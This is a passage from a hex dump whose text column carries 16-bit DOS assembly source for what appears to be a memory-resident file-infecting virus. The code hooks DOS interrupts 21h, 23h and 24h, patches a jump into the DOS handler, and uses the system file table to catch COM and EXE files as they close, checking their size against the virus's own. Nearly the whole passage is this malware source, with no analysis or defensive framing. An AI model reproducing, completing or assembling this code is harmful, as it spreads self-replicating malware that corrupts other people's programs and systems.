|00001040| 32 66 68 0d 0a 20 20 20 | 20 20 20 20 20 69 6e 63 |2fh.. | inc|
|00001050| 20 20 20 20 20 62 70 0d | 0a 20 20 20 20 20 20 20 | bp.|. |
|00001060| 20 6d 6f 76 20 20 20 20 | 20 65 73 3a 5b 64 69 5d | mov | es:[di]|
|00001070| 2c 62 70 0d 0a 20 20 20 | 20 20 20 20 20 6d 6f 76 |,bp.. | mov|
|00001080| 20 20 20 20 20 73 73 2c | 64 78 0d 0a 20 20 20 20 | ss,|dx.. |
|00001090| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 64 73 2c 64 | mov | ds,d|
|000010a0| 78 0d 0a 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |x.. | mov |
|000010b0| 20 20 20 61 78 2c 34 32 | 30 30 68 0d 0a 20 20 20 | ax,42|00h.. |
|000010c0| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 62 6c 2c | mov| bl,|
|000010d0| 35 0d 0a 20 20 20 20 20 | 20 20 20 63 77 64 0d 0a |5.. | cwd..|
|000010e0| 20 20 20 20 20 20 20 20 | 69 6e 74 20 20 20 20 20 | |int |
|000010f0| 32 31 68 0d 0a 20 20 20 | 20 20 20 20 20 6d 6f 76 |21h.. | mov|
|00001100| 20 20 20 20 20 61 68 2c | 33 66 68 0d 0a 20 20 20 | ah,|3fh.. |
|00001110| 20 20 20 20 20 64 65 63 | 20 20 20 20 20 63 78 0d | dec| cx.|
|00001120| 0a 20 20 20 20 20 20 20 | 20 69 6e 63 20 20 20 20 |. | inc |
|00001130| 20 64 68 0d 0a 20 20 20 | 20 20 20 20 20 69 6e 74 | dh.. | int|
|00001140| 20 20 20 20 20 32 31 68 | 0d 0a 20 20 20 20 20 20 | 21h|.. |
|00001150| 20 20 6d 6f 76 20 20 20 | 20 20 61 68 2c 33 65 68 | mov | ah,3eh|
|00001160| 0d 0a 20 20 20 20 20 20 | 20 20 69 6e 74 20 20 20 |.. | int |
|00001170| 20 20 32 31 68 0d 0a 20 | 20 20 20 20 20 20 20 70 | 21h.. | p|
|00001180| 75 73 68 20 20 20 20 64 | 73 0d 0a 20 20 20 20 20 |ush d|s.. |
|00001190| 20 20 20 70 6f 70 20 20 | 20 20 20 65 73 0d 0a 20 | pop | es.. |
|000011a0| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 20 20 64 | p|ush d|
|000011b0| 73 0d 0a 20 20 20 20 20 | 20 20 20 70 75 73 68 20 |s.. | push |
|000011c0| 20 20 20 64 78 0d 0a 20 | 20 20 20 20 20 20 20 72 | dx.. | r|
|000011d0| 65 74 66 0d 0a 0d 0a 72 | 65 61 64 5f 63 6d 70 20 |etf....r|ead_cmp |
|000011e0| 70 72 6f 63 0d 0a 20 20 | 20 20 20 20 20 20 6d 6f |proc.. | mo|
|000011f0| 76 20 20 20 20 20 63 78 | 2c 76 69 72 5f 73 69 7a |v cx|,vir_siz|
|00001200| 65 0d 0a 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |e.. | mov |
|00001210| 20 20 20 64 78 2c 63 78 | 0d 0a 20 20 20 20 20 20 | dx,cx|.. |
|00001220| 20 20 70 75 73 68 20 20 | 20 20 63 73 0d 0a 20 20 | push | cs.. |
|00001230| 20 20 20 20 20 20 70 6f | 70 20 20 20 20 20 64 73 | po|p ds|
|00001240| 0d 0a 20 20 20 20 20 20 | 20 20 63 61 6c 6c 20 20 |.. | call |
|00001250| 20 20 72 65 61 64 0d 0a | 20 20 20 20 20 20 20 20 | read..| |
|00001260| 6a 63 20 20 20 20 20 20 | 72 63 5f 65 78 69 74 0d |jc |rc_exit.|
|00001270| 0a 20 20 20 20 20 20 20 | 20 70 75 73 68 20 20 20 |. | push |
|00001280| 20 63 78 0d 0a 20 20 20 | 20 20 20 20 20 78 6f 72 | cx.. | xor|
|00001290| 20 20 20 20 20 73 69 2c | 73 69 0d 0a 69 66 20 28 | si,|si..if (|
|000012a0| 76 69 72 5f 73 69 7a 65 | 20 61 6e 64 20 30 66 66 |vir_size| and 0ff|
|000012b0| 30 30 68 29 20 65 71 20 | 28 63 6f 6e 73 74 61 6e |00h) eq |(constan|
|000012c0| 74 5f 73 69 7a 65 20 61 | 6e 64 20 30 66 66 30 30 |t_size a|nd 0ff00|
|000012d0| 68 29 0d 0a 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |h).. | mov |
|000012e0| 20 20 20 20 63 6c 2c 63 | 6f 6e 73 74 61 6e 74 5f | cl,c|onstant_|
|000012f0| 73 69 7a 65 20 61 6e 64 | 20 30 66 66 68 0d 0a 65 |size and| 0ffh..e|
|00001300| 6c 73 65 0d 0a 20 20 20 | 20 20 20 20 20 6d 6f 76 |lse.. | mov|
|00001310| 20 20 20 20 20 63 78 2c | 63 6f 6e 73 74 61 6e 74 | cx,|constant|
|00001320| 5f 73 69 7a 65 0d 0a 65 | 6e 64 69 66 0d 0a 63 6f |_size..e|ndif..co|
|00001330| 6d 70 61 72 65 3a 0d 0a | 20 20 20 20 20 20 20 20 |mpare:..| |
|00001340| 6c 6f 64 73 62 0d 0a 20 | 20 20 20 20 20 20 20 63 |lodsb.. | c|
|00001350| 6d 70 20 20 20 20 20 61 | 6c 2c 64 73 3a 72 65 61 |mp a|l,ds:rea|
|00001360| 64 5f 62 75 66 66 65 72 | 5b 73 69 2d 31 5d 0d 0a |d_buffer|[si-1]..|
|00001370| 20 20 20 20 20 20 20 20 | 6c 6f 6f 70 65 20 20 20 | |loope |
|00001380| 63 6f 6d 70 61 72 65 0d | 0a 20 20 20 20 20 20 20 |compare.|. |
|00001390| 20 63 6c 63 0d 0a 20 20 | 20 20 20 20 20 20 70 6f | clc.. | po|
|000013a0| 70 20 20 20 20 20 63 78 | 0d 0a 72 63 5f 65 78 69 |p cx|..rc_exi|
|000013b0| 74 3a 0d 0a 20 20 20 20 | 20 20 20 20 72 65 74 0d |t:.. | ret.|
|000013c0| 0a 72 65 61 64 5f 63 6d | 70 20 65 6e 64 70 0d 0a |.read_cm|p endp..|
|000013d0| 0d 0a 72 65 61 64 20 20 | 20 20 70 72 6f 63 0d 0a |..read | proc..|
|000013e0| 20 20 20 20 20 20 20 20 | 70 75 73 68 20 20 20 20 | |push |
|000013f0| 62 78 0d 0a 20 20 20 20 | 20 20 20 20 70 75 73 68 |bx.. | push|
|00001400| 20 20 20 20 64 78 0d 0a | 20 20 20 20 20 20 20 20 | dx..| |
|00001410| 70 75 73 68 20 20 20 20 | 64 73 0d 0a 20 20 20 20 |push |ds.. |
|00001420| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 61 78 2c 31 | mov | ax,1|
|00001430| 32 32 39 68 0d 0a 20 20 | 20 20 20 20 20 20 69 6e |229h.. | in|
|00001440| 74 20 20 20 20 20 32 66 | 68 0d 0a 20 20 20 20 20 |t 2f|h.. |
|00001450| 20 20 20 70 6f 70 20 20 | 20 20 20 64 73 0d 0a 20 | pop | ds.. |
|00001460| 20 20 20 20 20 20 20 70 | 6f 70 20 20 20 20 20 64 | p|op d|
|00001470| 78 0d 0a 20 20 20 20 20 | 20 20 20 70 6f 70 20 20 |x.. | pop |
|00001480| 20 20 20 62 78 0d 0a 20 | 20 20 20 20 20 20 20 72 | bx.. | r|
|00001490| 65 74 0d 0a 72 65 61 64 | 20 20 20 20 65 6e 64 70 |et..read| endp|
|000014a0| 0d 0a 0d 0a 77 72 69 74 | 65 20 20 20 70 72 6f 63 |....writ|e proc|
|000014b0| 0d 0a 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |.. | mov |
|000014c0| 20 20 62 70 2c 34 30 68 | 2a 32 0d 0a 69 32 31 5f | bp,40h|*2..i21_|
|000014d0| 66 75 6e 63 20 70 72 6f | 63 0d 0a 20 20 20 20 20 |func pro|c.. |
|000014e0| 20 20 20 70 6f 70 20 20 | 20 20 20 61 78 0d 0a 20 | pop | ax.. |
|000014f0| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 20 20 62 | p|ush b|
|00001500| 78 0d 0a 20 20 20 20 20 | 20 20 20 70 75 73 68 20 |x.. | push |
|00001510| 20 20 20 63 73 0d 0a 20 | 20 20 20 20 20 20 20 70 | cs.. | p|
|00001520| 75 73 68 20 20 20 20 61 | 78 0d 0a 20 20 20 20 20 |ush a|x.. |
|00001530| 20 20 20 70 75 73 68 20 | 20 20 20 63 73 0d 0a 20 | push | cs.. |
|00001540| 20 20 20 20 20 20 20 70 | 6f 70 20 20 20 20 20 64 | p|op d|
|00001550| 73 0d 0a 20 20 20 20 20 | 20 20 20 70 75 73 68 20 |s.. | push |
|00001560| 20 20 20 64 73 3a 69 32 | 31 5f 66 61 72 5f 6a 6d | ds:i2|1_far_jm|
|00001570| 70 0d 0a 20 20 20 20 20 | 20 20 20 6c 65 73 20 20 |p.. | les |
|00001580| 20 20 20 64 69 2c 64 77 | 6f 72 64 20 70 74 72 20 | di,dw|ord ptr |
|00001590| 64 73 3a 69 32 31 5f 74 | 61 62 6c 65 0d 0a 20 20 |ds:i21_t|able.. |
|000015a0| 20 20 20 20 20 20 70 75 | 73 68 20 20 20 20 65 73 | pu|sh es|
|000015b0| 0d 0a 20 20 20 20 20 20 | 20 20 70 75 73 68 20 20 |.. | push |
|000015c0| 20 20 65 73 3a 5b 64 69 | 2b 62 70 5d 0d 0a 20 20 | es:[di|+bp].. |
|000015d0| 20 20 20 20 20 20 72 65 | 74 66 0d 0a 69 32 31 5f | re|tf..i21_|
|000015e0| 66 75 6e 63 20 65 6e 64 | 70 0d 0a 77 72 69 74 65 |func end|p..write|
|000015f0| 20 20 20 65 6e 64 70 0d | 0a 0d 0a 73 65 74 32 33 | endp.|...set23|
|00001600| 32 34 5f 72 65 73 74 6f | 72 65 32 31 20 70 72 6f |24_resto|re21 pro|
|00001610| 63 0d 0a 20 20 20 20 20 | 20 20 20 70 75 73 68 20 |c.. | push |
|00001620| 20 20 20 64 73 0d 0a 20 | 20 20 20 20 20 20 20 6d | ds.. | m|
|00001630| 6f 76 20 20 20 20 20 73 | 69 2c 32 33 68 2a 34 0d |ov s|i,23h*4.|
|00001640| 0a 20 20 20 20 20 20 20 | 20 78 6f 72 20 20 20 20 |. | xor |
|00001650| 20 61 78 2c 61 78 0d 0a | 20 20 20 20 20 20 20 20 | ax,ax..| |
|00001660| 6d 6f 76 20 20 20 20 20 | 64 73 2c 61 78 0d 0a 20 |mov |ds,ax.. |
|00001670| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 64 | m|ov d|
|00001680| 69 2c 6f 66 66 73 65 74 | 20 6f 6c 64 32 33 0d 0a |i,offset| old23..|
|00001690| 20 20 20 20 20 20 20 20 | 70 75 73 68 20 20 20 20 | |push |
|000016a0| 63 73 0d 0a 20 20 20 20 | 20 20 20 20 70 6f 70 20 |cs.. | pop |
|000016b0| 20 20 20 20 65 73 0d 0a | 20 20 20 20 20 20 20 20 | es..| |
|000016c0| 6d 6f 76 20 20 20 20 20 | 61 78 2c 6f 66 66 73 65 |mov |ax,offse|
|000016d0| 74 20 69 6e 74 32 33 0d | 0a 20 20 20 20 20 20 20 |t int23.|. |
|000016e0| 20 6d 6f 76 20 20 20 20 | 20 62 70 2c 32 0d 0a 73 | mov | bp,2..s|
|000016f0| 6d 5f 32 33 5f 31 3a 0d | 0a 20 20 20 20 20 20 20 |m_23_1:.|. |
|00001700| 20 6d 6f 76 73 77 0d 0a | 20 20 20 20 20 20 20 20 | movsw..| |
|00001710| 6d 6f 76 20 20 20 20 20 | 64 73 3a 5b 73 69 2d 32 |mov |ds:[si-2|
|00001720| 5d 2c 61 78 0d 0a 20 20 | 20 20 20 20 20 20 6d 6f |],ax.. | mo|
|00001730| 76 73 77 0d 0a 20 20 20 | 20 20 20 20 20 6d 6f 76 |vsw.. | mov|
|00001740| 20 20 20 20 20 64 73 3a | 5b 73 69 2d 32 5d 2c 63 | ds:|[si-2],c|
|00001750| 73 0d 0a 69 66 20 28 28 | 69 6e 74 32 33 2d 73 74 |s..if ((|int23-st|
|00001760| 61 72 74 29 20 61 6e 64 | 20 30 66 66 30 30 68 29 |art) and| 0ff00h)|
|00001770| 20 65 71 20 28 28 69 6e | 74 32 34 2d 73 74 61 72 | eq ((in|t24-star|
|00001780| 74 29 20 61 6e 64 20 30 | 66 66 30 30 68 29 0d 0a |t) and 0|ff00h)..|
|00001790| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 | |mov |
|000017a0| 61 6c 2c 28 6f 66 66 73 | 65 74 20 69 6e 74 32 34 |al,(offs|et int24|
|000017b0| 2d 6f 66 66 73 65 74 20 | 73 74 61 72 74 29 20 61 |-offset |start) a|
|000017c0| 6e 64 20 30 66 66 68 0d | 0a 65 6c 73 65 0d 0a 20 |nd 0ffh.|.else.. |
|000017d0| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 61 | m|ov a|
|000017e0| 78 2c 6f 66 66 73 65 74 | 20 69 6e 74 32 34 0d 0a |x,offset| int24..|
|000017f0| 65 6e 64 69 66 0d 0a 20 | 20 20 20 20 20 20 20 64 |endif.. | d|
|00001800| 65 63 20 20 20 20 20 62 | 70 0d 0a 20 20 20 20 20 |ec b|p.. |
|00001810| 20 20 20 6a 6e 7a 20 20 | 20 20 20 73 6d 5f 32 33 | jnz | sm_23|
|00001820| 5f 31 0d 0a 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |_1.. | mov |
|00001830| 20 20 20 20 73 69 2c 64 | 69 0d 0a 20 20 20 20 20 | si,d|i.. |
|00001840| 20 20 20 70 75 73 68 20 | 20 20 20 63 73 0d 0a 20 | push | cs.. |
|00001850| 20 20 20 20 20 20 20 70 | 6f 70 20 20 20 20 20 64 | p|op d|
|00001860| 73 0d 0a 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |s.. | mov |
|00001870| 20 20 20 62 70 2c 2d 34 | 0d 0a 72 73 5f 31 3a 0d | bp,-4|..rs_1:.|
|00001880| 0a 20 20 20 20 20 20 20 | 20 69 6e 63 20 20 20 20 |. | inc |
|00001890| 20 62 70 0d 0a 20 20 20 | 20 20 20 20 20 69 6e 63 | bp.. | inc|
|000018a0| 20 20 20 20 20 62 70 0d | 0a 20 20 20 20 20 20 20 | bp.|. |
|000018b0| 20 6c 65 73 20 20 20 20 | 20 64 69 2c 64 77 6f 72 | les | di,dwor|
|000018c0| 64 20 70 74 72 20 64 73 | 3a 69 32 31 5f 74 61 62 |d ptr ds|:i21_tab|
|000018d0| 6c 65 0d 0a 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |le.. | mov |
|000018e0| 20 20 20 20 64 69 2c 65 | 73 3a 5b 64 69 2b 62 70 | di,e|s:[di+bp|
|000018f0| 2b 32 2b 33 65 68 2a 32 | 5d 0d 0a 20 20 20 20 20 |+2+3eh*2|].. |
|00001900| 20 20 20 6d 6f 76 73 62 | 0d 0a 20 20 20 20 20 20 | movsb|.. |
|00001910| 20 20 6d 6f 76 73 77 0d | 0a 20 20 20 20 20 20 20 | movsw.|. |
|00001920| 20 6a 6e 7a 20 20 20 20 | 20 72 73 5f 31 0d 0a 20 | jnz | rs_1.. |
|00001930| 20 20 20 20 20 20 20 70 | 6f 70 20 20 20 20 20 64 | p|op d|
|00001940| 73 0d 0a 0d 0a 20 20 20 | 20 20 20 20 20 70 6f 70 |s.... | pop|
|00001950| 20 20 20 20 20 62 70 0d | 0a 20 20 20 20 20 20 20 | bp.|. |
|00001960| 20 70 6f 70 20 20 20 20 | 20 61 78 0d 0a 20 20 20 | pop | ax.. |
|00001970| 20 20 20 20 20 70 75 73 | 68 20 20 20 20 65 73 0d | pus|h es.|
|00001980| 0a 20 20 20 20 20 20 20 | 20 70 75 73 68 20 20 20 |. | push |
|00001990| 20 61 78 0d 0a 0d 0a 67 | 65 74 5f 73 66 74 20 70 | ax....g|et_sft p|
|000019a0| 72 6f 63 0d 0a 20 20 20 | 20 20 20 20 20 70 75 73 |roc.. | pus|
|000019b0| 68 20 20 20 20 62 78 0d | 0a 20 20 20 20 20 20 20 |h bx.|. |
|000019c0| 20 6d 6f 76 20 20 20 20 | 20 61 78 2c 31 32 32 30 | mov | ax,1220|
|000019d0| 68 0d 0a 20 20 20 20 20 | 20 20 20 69 6e 74 20 20 |h.. | int |
|000019e0| 20 20 20 32 66 68 0d 0a | 20 20 20 20 20 20 20 20 | 2fh..| |
|000019f0| 6d 6f 76 20 20 20 20 20 | 62 6c 2c 65 73 3a 5b 64 |mov |bl,es:[d|
|00001a00| 69 5d 0d 0a 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |i].. | mov |
|00001a10| 20 20 20 20 61 78 2c 31 | 32 31 36 68 0d 0a 20 20 | ax,1|216h.. |
|00001a20| 20 20 20 20 20 20 69 6e | 74 20 20 20 20 20 32 66 | in|t 2f|
|00001a30| 68 0d 0a 20 20 20 20 20 | 20 20 20 70 6f 70 20 20 |h.. | pop |
|00001a40| 20 20 20 62 78 0d 0a 20 | 20 20 20 20 20 20 20 6a | bx.. | j|
|00001a50| 6d 70 20 20 20 20 20 62 | 70 0d 0a 67 65 74 5f 73 |mp b|p..get_s|
|00001a60| 66 74 20 65 6e 64 70 0d | 0a 73 65 74 32 33 32 34 |ft endp.|.set2324|
|00001a70| 5f 72 65 73 74 6f 72 65 | 32 31 20 65 6e 64 70 0d |_restore|21 endp.|
|00001a80| 0a 0d 0a 73 65 74 32 31 | 5f 72 65 73 74 6f 72 65 |...set21|_restore|
|00001a90| 32 33 20 70 72 6f 63 0d | 0a 20 20 20 20 20 20 20 |23 proc.|. |
|00001aa0| 20 6d 6f 76 20 20 20 20 | 20 73 69 2c 6f 66 66 73 | mov | si,offs|
|00001ab0| 65 74 20 6f 6c 64 32 33 | 0d 0a 20 20 20 20 20 20 |et old23|.. |
|00001ac0| 20 20 70 75 73 68 20 20 | 20 20 63 73 0d 0a 20 20 | push | cs.. |
|00001ad0| 20 20 20 20 20 20 70 6f | 70 20 20 20 20 20 64 73 | po|p ds|
|00001ae0| 0d 0a 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |.. | mov |
|00001af0| 20 20 64 69 2c 32 33 68 | 2a 34 0d 0a 20 20 20 20 | di,23h|*4.. |
|00001b00| 20 20 20 20 78 6f 72 20 | 20 20 20 20 63 78 2c 63 | xor | cx,c|
|00001b10| 78 0d 0a 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |x.. | mov |
|00001b20| 20 20 20 65 73 2c 63 78 | 0d 0a 20 20 20 20 20 20 | es,cx|.. |
|00001b30| 20 20 6d 6f 76 20 20 20 | 20 20 63 6c 2c 34 0d 0a | mov | cl,4..|
|00001b40| 20 20 20 20 20 20 20 20 | 72 65 70 20 20 20 20 20 | |rep |
|00001b50| 6d 6f 76 73 77 0d 0a 20 | 20 20 20 20 20 20 20 70 |movsw.. | p|
|00001b60| 75 73 68 20 20 20 20 63 | 73 0d 0a 20 20 20 20 20 |ush c|s.. |
|00001b70| 20 20 20 70 6f 70 20 20 | 20 20 20 65 73 0d 0a 0d | pop | es...|
|00001b80| 0a 73 65 74 32 31 20 20 | 20 70 72 6f 63 20 20 20 |.set21 | proc |
|00001b90| 20 3b 20 65 73 20 3d 20 | 76 69 72 20 73 65 67 6d | ; es = |vir segm|
|00001ba0| 65 6e 74 0d 0a 20 20 20 | 20 20 20 20 20 70 75 73 |ent.. | pus|
|00001bb0| 68 20 20 20 20 61 78 0d | 0a 20 20 20 20 20 20 20 |h ax.|. |
|00001bc0| 20 6d 6f 76 20 20 20 20 | 20 62 78 2c 2d 34 0d 0a | mov | bx,-4..|
|00001bd0| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 | |mov |
|00001be0| 64 69 2c 6f 66 66 73 65 | 74 20 69 32 31 5f 33 65 |di,offse|t i21_3e|
|00001bf0| 5f 64 61 74 61 0d 0a 20 | 20 20 20 20 20 20 20 6d |_data.. | m|
|00001c00| 6f 76 20 20 20 20 20 63 | 78 2c 65 73 3a 69 32 31 |ov c|x,es:i21|
|00001c10| 5f 66 61 72 5f 6a 6d 70 | 5b 64 69 5d 2d 69 32 31 |_far_jmp|[di]-i21|
|00001c20| 5f 33 65 5f 64 61 74 61 | 0d 0a 20 20 20 20 20 20 |_3e_data|.. |
|00001c30| 20 20 69 6e 63 20 20 20 | 20 20 63 78 0d 0a 73 6d | inc | cx..sm|
|00001c40| 5f 31 3a 0d 0a 20 20 20 | 20 20 20 20 20 69 6e 63 |_1:.. | inc|
|00001c50| 20 20 20 20 20 62 78 0d | 0a 20 20 20 20 20 20 20 | bx.|. |
|00001c60| 20 6c 64 73 20 20 20 20 | 20 73 69 2c 64 77 6f 72 | lds | si,dwor|
|00001c70| 64 20 70 74 72 20 65 73 | 3a 69 32 31 5f 74 61 62 |d ptr es|:i21_tab|
|00001c80| 6c 65 0d 0a 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |le.. | mov |
|00001c90| 20 20 20 20 61 78 2c 64 | 73 3a 5b 73 69 2b 62 78 | ax,d|s:[si+bx|
|00001ca0| 2b 33 2b 33 65 68 2a 32 | 5d 0d 0a 20 20 20 20 20 |+3+3eh*2|].. |
|00001cb0| 20 20 20 6d 6f 76 20 20 | 20 20 20 73 69 2c 61 78 | mov | si,ax|
|00001cc0| 0d 0a 20 20 20 20 20 20 | 20 20 6d 6f 76 73 62 0d |.. | movsb.|
|00001cd0| 0a 20 20 20 20 20 20 20 | 20 6d 6f 76 73 77 0d 0a |. | movsw..|
|00001ce0| 20 20 20 20 20 20 20 20 | 78 63 68 67 20 20 20 20 | |xchg |
|00001cf0| 73 69 2c 61 78 0d 0a 20 | 20 20 20 20 20 20 20 73 |si,ax.. | s|
|00001d00| 75 62 20 20 20 20 20 61 | 78 2c 63 78 0d 0a 20 20 |ub a|x,cx.. |
|00001d10| 20 20 20 20 20 20 6e 65 | 67 20 20 20 20 20 61 78 | ne|g ax|
|00001d20| 0d 0a 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |.. | mov |
|00001d30| 20 20 62 79 74 65 20 70 | 74 72 20 64 73 3a 5b 73 | byte p|tr ds:[s|
|00001d40| 69 5d 2c 30 65 39 68 0d | 0a 20 20 20 20 20 20 20 |i],0e9h.|. |
|00001d50| 20 6d 6f 76 20 20 20 20 | 20 64 73 3a 5b 73 69 2b | mov | ds:[si+|
|00001d60| 31 5d 2c 61 78 0d 0a 20 | 20 20 20 20 20 20 20 61 |1],ax.. | a|
|00001d70| 64 64 20 20 20 20 20 63 | 78 2c 35 0d 0a 20 20 20 |dd c|x,5.. |
|00001d80| 20 20 20 20 20 69 6e 63 | 20 20 20 20 20 62 78 0d | inc| bx.|
|00001d90| 0a 20 20 20 20 20 20 20 | 20 6a 6e 7a 20 20 20 20 |. | jnz |
|00001da0| 20 73 6d 5f 31 0d 0a 20 | 20 20 20 20 20 20 20 70 | sm_1.. | p|
|00001db0| 6f 70 20 20 20 20 20 61 | 78 0d 0a 20 20 20 20 20 |op a|x.. |
|00001dc0| 20 20 20 72 65 74 0d 0a | 73 65 74 32 31 20 20 20 | ret..|set21 |
|00001dd0| 65 6e 64 70 0d 0a 73 65 | 74 32 31 5f 72 65 73 74 |endp..se|t21_rest|
|00001de0| 6f 72 65 32 33 20 65 6e | 64 70 0d 0a 0d 0a 69 32 |ore23 en|dp....i2|
|00001df0| 31 5f 33 65 3a 0d 0a 20 | 20 20 20 20 20 20 20 63 |1_3e:.. | c|
|00001e00| 61 6c 6c 20 20 20 20 73 | 65 74 32 33 32 34 5f 72 |all s|et2324_r|
|00001e10| 65 73 74 6f 72 65 32 31 | 0d 0a 20 20 20 20 20 20 |estore21|.. |
|00001e20| 20 20 6a 63 20 20 20 20 | 20 20 6a 63 5f 65 78 69 | jc | jc_exi|
|00001e30| 74 0d 0a 20 20 20 20 20 | 20 20 20 70 75 73 68 20 |t.. | push |
|00001e40| 20 20 20 65 73 0d 0a 20 | 20 20 20 20 20 20 20 70 | es.. | p|
|00001e50| 6f 70 20 20 20 20 20 64 | 73 0d 0a 20 20 20 20 20 |op d|s.. |
|00001e60| 20 20 20 63 6d 70 20 20 | 20 20 20 77 6f 72 64 20 | cmp | word |
|00001e70| 70 74 72 20 64 73 3a 5b | 64 69 5d 2c 31 0d 0a 20 |ptr ds:[|di],1.. |
|00001e80| 20 20 20 20 20 20 20 6a | 6e 65 20 20 20 20 20 6a | j|ne j|
|00001e90| 6e 65 5f 65 78 69 74 0d | 0a 20 20 20 20 20 20 20 |ne_exit.|. |
|00001ea0| 20 6c 65 73 20 20 20 20 | 20 61 78 2c 64 77 6f 72 | les | ax,dwor|
|00001eb0| 64 20 70 74 72 20 64 73 | 3a 5b 64 69 2b 32 38 68 |d ptr ds|:[di+28h|
|00001ec0| 5d 0d 0a 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |].. | mov |
|00001ed0| 20 20 20 64 78 2c 65 73 | 0d 0a 20 20 20 20 20 20 | dx,es|.. |
|00001ee0| 20 20 63 6d 70 20 20 20 | 20 20 61 78 2c 27 4f 43 | cmp | ax,'OC|
|00001ef0| 27 0d 0a 20 20 20 20 20 | 20 20 20 6a 6e 65 20 20 |'.. | jne |
|00001f00| 20 20 20 65 78 65 0d 0a | 20 20 20 20 20 20 20 20 | exe..| |
|00001f10| 6d 6f 76 20 20 20 20 20 | 61 6c 2c 27 4d 27 0d 0a |mov |al,'M'..|
|00001f20| 20 20 20 20 20 20 20 20 | 6a 6d 70 20 20 20 20 20 | |jmp |
|00001f30| 73 68 6f 72 74 20 63 6f | 6d 0d 0a 65 78 65 3a 0d |short co|m..exe:.|
|00001f40| 0a 20 20 20 20 20 20 20 | 20 63 6d 70 20 20 20 20 |. | cmp |
|00001f50| 20 61 78 2c 27 58 45 27 | 0d 0a 20 20 20 20 20 20 | ax,'XE'|.. |
|00001f60| 20 20 6a 6e 65 20 20 20 | 20 20 6a 6e 65 5f 65 78 | jne | jne_ex|
|00001f70| 69 74 0d 0a 63 6f 6d 3a | 0d 0a 20 20 20 20 20 20 |it..com:|.. |
|00001f80| 20 20 63 6d 70 20 20 20 | 20 20 64 6c 2c 61 6c 0d | cmp | dl,al.|
|00001f90| 0a 6a 6e 65 5f 65 78 69 | 74 3a 0d 0a 20 20 20 20 |.jne_exi|t:.. |
|00001fa0| 20 20 20 20 6a 6e 65 20 | 20 20 20 20 6a 6e 65 5f | jne | jne_|
|00001fb0| 65 78 69 74 5f 0d 0a 20 | 20 20 20 20 20 20 20 6c |exit_.. | l|
|00001fc0| 65 73 20 20 20 20 20 61 | 78 2c 64 77 6f 72 64 20 |es a|x,dword |
|00001fd0| 70 74 72 20 64 73 3a 5b | 64 69 2b 31 31 68 5d 0d |ptr ds:[|di+11h].|
|00001fe0| 0a 20 20 20 20 20 20 20 | 20 63 6d 70 20 20 20 20 |. | cmp |
|00001ff0| 20 61 78 2c 76 69 72 5f | 73 69 7a 65 0d 0a 6a 63 | ax,vir_|size..jc|
|00002000| 5f 65 78 69 74 3a 0d 0a | 20 20 20 20 20 20 20 20 |_exit:..| |
|00002010| 6a 62 20 20 20 20 20 20 | 6a 63 5f 65 78 69 74 5f |jb |jc_exit_|
|00002020| 0d 0a 20 20 20 20 20 20 | 20 20 63 6d 70 20 20 20 |.. | cmp |
|00002030| 20 20 61 78 2c 30 66 66 | 66 66 68 2d 28 76 69 72 | ax,0ff|ffh-(vir|
|00002040| 5f 73 69 7a 65 2b 32 29 | 0d 0a 20 20 20 20 20 20 |_size+2)|.. |
|00002050| 20 20 6a 61 20 20 20 20 | 20 20 6a 6e 65 5f 65 78 | ja | jne_ex|
|00002060| 69 74 5f 0d 0a 20 20 20 | 20 20 20 20 20 6d 6f 76 |it_.. | mov|
|00002070| 20 20 20 20 20 64 78 2c | 65 73 0d 0a 20 20 20 20 | dx,|es.. |
|00002080| 20 20 20 20 6f 72 20 20 | 20 20 20 20 64 78 2c 64 | or | dx,d|
|00002090| 78 0d 0a 6a 6e 65 5f 65 | 78 69 74 5f 3a 0d 0a 20 |x..jne_e|xit_:.. |
|000020a0| 20 20 20 20 20 20 20 6a | 6e 7a 20 20 20 20 20 69 | j|nz i|
|000020b0| 32 31 5f 33 65 5f 65 78 | 69 74 0d 0a 20 20 20 20 |21_3e_ex|it.. |
|000020c0| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 64 73 3a 5b | mov | ds:[|
|000020d0| 64 69 2b 31 35 68 5d 2c | 64 78 0d 0a 20 20 20 20 |di+15h],|dx.. |
|000020e0| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 64 73 3a 5b | mov | ds:[|
|000020f0| 64 69 2b 31 37 68 5d 2c | 64 78 0d 0a 20 20 20 20 |di+17h],|dx.. |
|00002100| 20 20 20 20 6c 65 73 20 | 20 20 20 20 73 69 2c 64 | les | si,d|
|00002110| 77 6f 72 64 20 70 74 72 | 20 64 73 3a 5b 64 69 2b |word ptr| ds:[di+|
|00002120| 37 5d 0d 0a 20 20 20 20 | 20 20 20 20 6c 65 73 20 |7].. | les |
|00002130| 20 20 20 20 73 69 2c 64 | 77 6f 72 64 20 70 74 72 | si,d|word ptr|
|00002140| 20 65 73 3a 5b 73 69 2b | 32 5d 0d 0a 20 20 20 20 | es:[si+|2].. |
|00002150| 20 20 20 20 61 64 64 20 | 20 20 20 20 61 78 2c 73 | add | ax,s|
|00002160| 69 0d 0a 20 20 20 20 20 | 20 20 20 64 65 63 20 20 |i.. | dec |
|00002170| 20 20 20 61 78 0d 0a 20 | 20 20 20 20 20 20 20 64 | ax.. | d|
|00002180| 69 76 20 20 20 20 20 73 | 69 0d 0a 20 20 20 20 20 |iv s|i.. |
